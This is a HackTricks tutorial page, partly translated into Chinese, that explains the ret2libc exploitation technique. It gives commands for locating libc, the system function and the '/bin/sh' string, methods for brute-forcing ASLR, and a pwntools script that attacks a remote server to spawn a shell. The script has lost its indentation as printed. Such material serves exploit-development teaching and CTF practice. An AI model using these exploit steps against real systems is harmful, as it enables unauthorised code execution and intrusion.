Ret2lib

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

The essence of Ret2Libc is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., system, execve, strcpy) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.

示例步骤(简化)

  • 获取要调用函数的地址(例如 system)以及要执行的命令(例如 /bin/sh)
  • 生成 ROP chain,将第一个参数设置为指向命令字符串,并将执行流指向该函数

查找地址

  • Supposing that the libc used is the one from current machine you can find where it’ll be loaded in memory with:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

如果你想检查 ASLR 是否改变了 libc 的地址,你可以这样做:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 知道使用的 libc 后,也可以找到 system 函数的偏移,方法如下:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 在已知所用 libc 的情况下,也可以用以下方法找到字符串 /bin/sh 的偏移:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

使用 gdb-peda / GEF

知道所使用的 libc 后,也可以使用 Peda 或 GEF 获取 system 函数、exit 函数 和 字符串 /bin/sh 的地址:

p system
p exit
find "/bin/sh"

Using /proc/<PID>/maps

如果该进程在你与之交互(例如网络服务)时每次都会创建 子进程,尝试 读取 该文件(可能需要 root 权限)。

在这里你可以找到进程内 libc 精确加载的位置,以及每个子进程将 要加载的位置

在这个例子中它被加载在 0xb75dc000(这将是 libc 的基址)

Unknown libc

有可能你 不知道 binary 正在加载哪个 libc(因为它可能位于你无访问权限的服务器上)。在这种情况下,你可以利用漏洞 leak 一些地址并找出使用的 libc

Leaking libc address with ROP

你可以在以下位置找到一个用于此的 pwntools 模板:

Leaking libc - template

用两个偏移来确定 libc

访问页面 https://libc.blukat.me/,使用 libc 中函数的 几个地址 来找出 使用的版本

Bypassing ASLR in 32 bits

这些暴力破解攻击 仅对 32bit 系统 有用

  • 如果漏洞利用是本地的,你可以尝试对 libc 的基址进行暴力穷举(对 32bit 系统有用):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • 如果攻击一个 remote server,你可以尝试 burte-force the address of the libc function usleep,传入参数 10(例如)。如果在某个时刻 server 响应额外延迟 10s,说明你找到了该函数的地址。

One Gadget

只需跳转到 libc 中的 一个 特定 地址 即可执行一个 shell:

One Gadget

x86 Ret2lib 代码示例

在这个例子中,ASLR brute-force 集成在代码中,vulnerable binary 位于 remote server:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib 代码示例

Check the example from:

ROP & JOP

ARM64 Ret2lib 示例

在 ARM64 的情况下,ret 指令跳转到 x30 寄存器 指向的位置,而不是栈寄存器 指向的位置。所以会更复杂一些。

另外在 ARM64 中,指令就是指令(不能在指令的中间跳转并把它们变成新的指令)。

Check the example from:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

This allows to leak information from the process by calling printf/puts with some specific data placed as an argument. For example putting the address of puts in the GOT into an execution of puts will leak the address of puts in memory.

Ret2printf

This basically means abusing a Ret2lib to transform it into a printf format strings vulnerability by using the ret2lib to call printf with the values to exploit it (sounds useless but possible):

Format Strings

Other Examples & references

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks